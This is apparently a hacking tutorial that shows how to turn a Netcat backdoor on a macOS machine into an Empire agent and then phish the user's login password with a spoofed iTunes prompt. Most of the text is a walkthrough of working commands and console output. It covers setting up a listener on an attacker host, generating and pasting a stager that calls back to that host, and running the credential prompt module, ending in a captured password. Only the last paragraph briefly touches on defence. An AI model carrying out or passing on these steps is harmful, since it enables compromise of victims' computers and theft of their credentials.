Locating and abusing files containing unsafe permissions is an easy and surefire way to elevate shell privileges on a backdoored macOS device. This time around, we'll be more aggressive and attempt to phish a user's login password by prompting a convincing popup message merely asking the target for their password.
This privilege escalation method consists of the attacker invoking a prompt that instructs the target users to enter their password into a convincing popup window. The Empire prompt module allows us to spoof which application is requesting the user's login password. So, we can make iTunes, the App Store, or any installed App request a password input for a believable social engineering attack.
bash-3.2$ whoami tokyoneon
The first thing we want to do is convert our primitive Netcat backdoor to a fully featured Empire backdoor. This article assumes readers have some experience with Empire. Beginners should reference Null Byte's "Getting Started" and "Generating Stagers" guides before proceeding.
Start Empire with a listener waiting for incoming connections from the target MacBook. In this example, I'm using an HTTP listener on port 8080. The below commands can be used to quickly set up an Empire listener.
(Empire) > listeners [!] No listeners currently active (Empire: listeners) > uselistener http (Empire: listeners/http) > set Port 8080 (Empire: listeners/http) > set Host xx.xx.xx.xx (Empire: listeners/http) > execute [*] Starting listener 'http' * Serving Flask app "http" (lazy loading) * Environment: production WARNING: do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off [+] Listener successfully started! (Empire: listeners/http) > listeners [*] Active listeners: Name Module Host Delay/Jitter ---- ------ ---- ----------- http http http://xx.xx.xx.xx:8080 5/0.0 (Empire: listeners) > _
The "Host" address can be your local network IP address or VPS address for remote attacks.
Next, create a launcher script using the osx/launcher stager. This can be done using the below commands.
usestager osx/launcher set Listener http generate
The entire launcher output should be copied and pasted into the Netcat terminal. Including the "echo" and "python" portions at the beginning and ends of the output.
A new agent will appear in the Empire terminal allowing us to further exploit the MacBook.
(Empire: agents) > [*] Sending PYTHON stager (stage 1) to xx.xx.xx.xx [*] Agent P98MAEE0 from xx.xx.xx.xx posted valid Python PUB key [*] New agent P98MAEE0 checked in [+] Initial agent P98MAEE0 from xx.xx.xx.xx now active (Slack) [*] Sending agent (stage 2) to P98MAEE0 at xx.xx.xx.xx [>] ................... (Empire: agents) > _
Use the interact command to begin issuing commands to the compromised macOS device.
(Empire: stager/osx/launcher) > interact P98MAEE0 (Empire: P98MAEE0) >
Enable the collection/osx/prompt module with the usemodule command. Then, use the info command to view the modules available options.
(Empire: P98MAEE0) > usemodule collection/osx/prompt (Empire: python/collection/osx/prompt) > info Name: Prompt Module: python/collection/osx/prompt NeedsAdmin: False OpsecSafe: False Language: python MinLanguageVersion: 2.6 Background: False OutputExtension: None Authors: @FuzzyNop @harmj0y Description: Launches a specified application with an prompt for credentials with osascript. Comments: https://github.com/fuzzynop/FiveOnceInYourLife Options: Name Required Value Description ---- -------- ------- ----------- ListApps False Switch. List applications suitable for launching. SandboxMode False Switch. Launch a sandbox safe prompt Agent True P98MAEE0 Agent to execute module on. AppName True Google Chrome The name of the application to launch. (Empire: python/collection/osx/prompt) >
The ListApps option will return a list of applications installed on the macOS device. Set the value to "true," then execute the module.
(Empire: python/collection/osx/prompt) > set ListApps true (Empire: python/collection/osx/prompt) > execute [>] Module is not opsec safe, run? [y/N] y [*] Tasked P98MAEE0 to run TASK_CMD_WAIT [*] Agent P98MAEE0 tasked with task ID 1 [*] Tasked agent P98MAEE0 to run module python/collection/osx/prompt (Empire: python/collection/osx/prompt) > [*] Agent P98MAEE0 returned results. Available applications:  DVD Player  Siri  QuickTime Player  Chess  Photo Booth  Notes  Image Capture  iBooks  Google Chrome  Preview  Dashboard  TextEdit  Mail  Safari  Dictionary  Contacts  Time Machine  Utilities  Font Book  FaceTime  Maps  Mission Control  Stickies  Photos  Messages  Calculator  iTunes  Firefox  Launchpad  Reminders  App Store  Automator  Calendar  System Preferences
Before selecting an application, unset the ListApps value so that the module doesn't continuously return the list of applications.
(Empire: python/collection/osx/prompt) > unset ListApps
By default, there are many suitable applications for this attack.
To select an application, set the "AppName" value to the application name. In my below example, I'm using iTunes. Punctuation is important here. Notice the capital "T" in iTunes. The AppName value must appear exactly as it does in the above list of apps.
(Empire: python/collection/osx/prompt) > set AppName iTunes (Empire: python/collection/osx/prompt) > execute [>] Module is not opsec safe, run? [y/N] y [*] Tasked P98MAEE0 to run TASK_CMD_WAIT [*] Agent P98MAEE0 tasked with task ID 2 [*] Tasked agent P98MAEE0 to run module python/collection/osx/prompt
After a few seconds, the target user will be prompted with a password request from the application of your choosing.
Upon submitting their password, the Empire terminal will display the following results.
(Empire: python/collection/osx/prompt) > [*] Agent P98MAEE0 returned results. button returned:OK, text returned: super-secret-password-54321
If triggered while the target user is browsing iTunes media or while heavily occupied with work, they may not hesitate to enter their password to get rid of that annoying prompt.
Defending against such attacks is difficult. Antivirus software can usually be evaded with a few simple tricks, so it's not a very reliable defense solution. If you experience random password prompts or your MacBook fans seem to heat up unexpectedly, it could be a sign that your macOS device has been compromised. In my next article, I'll talk about a few strategies to identify backdoors on your macOS devices ... so stay tuned.
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